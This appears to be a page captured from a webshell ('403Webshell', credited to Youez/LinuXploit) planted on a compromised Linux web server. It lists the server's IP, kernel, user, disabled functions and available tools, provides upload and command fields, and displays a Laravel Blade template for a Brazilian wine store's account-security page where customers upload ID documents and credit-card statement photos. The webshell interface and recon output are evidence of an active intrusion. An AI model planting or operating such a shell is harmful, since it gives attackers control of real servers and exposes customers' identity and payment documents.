403Webshell
Server IP : 54.233.248.239  /  Your IP : 172.28.20.13
Web Server : Apache
System : Linux ip-172-28-29-189 6.5.0-1014-aws #14~22.04.1-Ubuntu SMP Thu Feb 15 15:27:06 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.2.34-43+ubuntu22.04.1+deb.sury.org+1
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/vinumday2_0/resources/views/perfil/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/vinumday2_0/resources/views/perfil/seguranca.blade.php
@extends('layouts.website')

@section('content')

    @include('perfil/menu-lateral', ['configMenuLateral' => $configMenuLateral])

    <div class="minha-conta__right">
        <div class="center">
            <div class="vinhos-adega">
                <p class="texto">Segurança</p>
            </div>
        </div>
        <div class="clear"></div>
        <div class="box">
            @if($status == 'R')
                <div class="docs_recusados">
                    <h5 class="doc_recusado_titulo">Seus documentos foram recusados</h5>

                    <ul>
                        @foreach($cadastro_documentos as $doc_cadastro)
                            @if($doc_cadastro->status == 'R' && trim($doc_cadastro->motivo_recusa) != '')
                                <li>
                                    {{ $doc_cadastro->motivo_recusa }}
                                </li>
                            @endif
                        @endforeach
                    </ul>

                    <small>Por favor, envie novamente os seus documentos!</small>
                </div>
            @endif

            @if($status == 'A' || $status == 'V')
                <div style="display: flex; gap: 10px;">
                    <i class="fa fa-clock-o" aria-hidden="true"></i>
                    <h5 style="font-size: 15px">Documentos em análise</h5>
                </div>
                <p>Agora é só aguardar, seus documentos estão atualmente em análise.</p>
                <p>Qualquer dúvida, fique à vontade para entrar em <a href="/contato" style="font-weight: bold" target="_blank">contato</a> com a equipe.</p>
            @endif

            @if($status == 'R' || $status == 'N')
                    <h5 style="font-size: 18px">Upload de documentos</h5>
                    <p>Para desbloquear a sua conta, faça uploads dos documentos abaixo:</p>

                    <div style="margin-top: 15px;" class="list-dados-necessarios">
                        <ol>
                            <li style="margin-bottom: 10px;">Imagem de um comprovante da transação conosco (foto de parte da fatura do cartão de crédito com os valores, a data da compra e últimos dígitos do cartão — não sendo necessário à presença de mais informações)</li>
                            <li>Imagem (registrada via celular) de um documento frente e verso com foto e com o número do CPF do titular da conta no site (identidade, habilitação, etc.)</li>
                        </ol>
                    </div>

                    <div class="list-documents-upload">
                        <div style="margin-top: 10px">
                            <small style="display: block">Você pode enviar no máximo 3 arquivos.</small>
                            <input id="inputFileArquivos" accept="image/*" type="file" name="arquivos_docs" multiple style="display: none">
                            <button id="carregarArquivos" class="btn-orange" style="cursor: pointer"><i class="fa fa-upload" aria-hidden="true"></i> Carregar arquivos</button>
                        </div>

                        <div>
                            <h5 style="font-size: 14px; margin-top: 15px; margin-bottom: 10px; display: none" id="texto-arquivos-enviados">Arquivos enviados:</h5>

                            <div id="fileList">
                                <div class="item-document-upload" id="elementItemUpload" style="display: none;">
                                    <div class="box-documento-item-upload">
                                        <div>
                                            <i class="fa fa-file-o" aria-hidden="true"></i>
                                        </div>
                                        <div>
                                            <h5 class="titulo_documento_upload"></h5>
                                        </div>
                                    </div>
                                    <div>
                                        <button class="btn-remover-documento"><i class="fa fa-times" aria-hidden="true"></i> Remover</button>
                                    </div>
                                </div>
                            </div>
                        </div>
                    </div>

                    <div style="margin-top: 20px; text-align: center">
                        <button id="enviar-solicitacao" class="btn-green" style="height: 35px; display: none">Enviar solicitação</button>
                    </div>
            @endif
        </div>

    </div>

    </div>
    </div>
    </div>

    </section>

    <script>
        let fileList = [];

        $(document).on('click', '#carregarArquivos', function(e) {
            $('#inputFileArquivos').click();
        });

        $(document).on('change', '#inputFileArquivos', function (e) {
            const newFiles = Array.from(this.files);

            const availableSlots = Math.max(0, 3 - fileList.length);
            const filesToAdd = newFiles.slice(0, availableSlots);

            filesToAdd.forEach(file => {
                fileList.push(file);
            });

            renderFileList();
            statusBtnEnviar();
        });

        const renderFileList = () => {
            $('#fileList .item-document-upload:not(#elementItemUpload)').remove();

            $('#texto-arquivos-enviados').toggle(fileList.length > 0);

            fileList.forEach((file, index) => {
                const itemClone = $('#elementItemUpload').clone().removeAttr('id');
                itemClone.css('display', 'flex');

                itemClone.find('.titulo_documento_upload').text(file.name);

                itemClone.find('.btn-remover-documento').on('click', function () {
                    fileList.splice(index, 1);
                    renderFileList();
                    statusBtnEnviar();
                });

                $('#fileList').append(itemClone);
            });
        }

        const statusBtnEnviar = () =>
        {
            if(fileList.length < 2){
                return $('#enviar-solicitacao').hide();
            }

            return $('#enviar-solicitacao').show();
        }


        $(document).on('click', '#enviar-solicitacao', function(e) {
            e.preventDefault();

            if (fileList.length === 0) {
                alert('Por favor, selecione ao menos um arquivo.');
                return;
            }

            const formData = new FormData();
            fileList.forEach((file, index) => {
                formData.append('arquivos_docs[]', file);
            });

            $('.carregando').fadeIn();
            $.ajax({
                url: '/perfil/enviar-solicacao-documentos',
                type: 'POST',
                data: formData,
                processData: false,
                contentType: false,
                success: function(response) {
                    $('.carregando').fadeOut();

                    if(response.status){
                        return location.reload();
                    }

                    // fileList = []; // Limpa a lista
                    // renderFileList();
                },
                error: function(xhr) {
                    $('.carregando').fadeOut();
                    alert('Ocorreu um problema, tente mais tarde.');
                }
            });
        });
    </script>
@endsection

Youez - 2016 - github.com/yon3zu
LinuXploit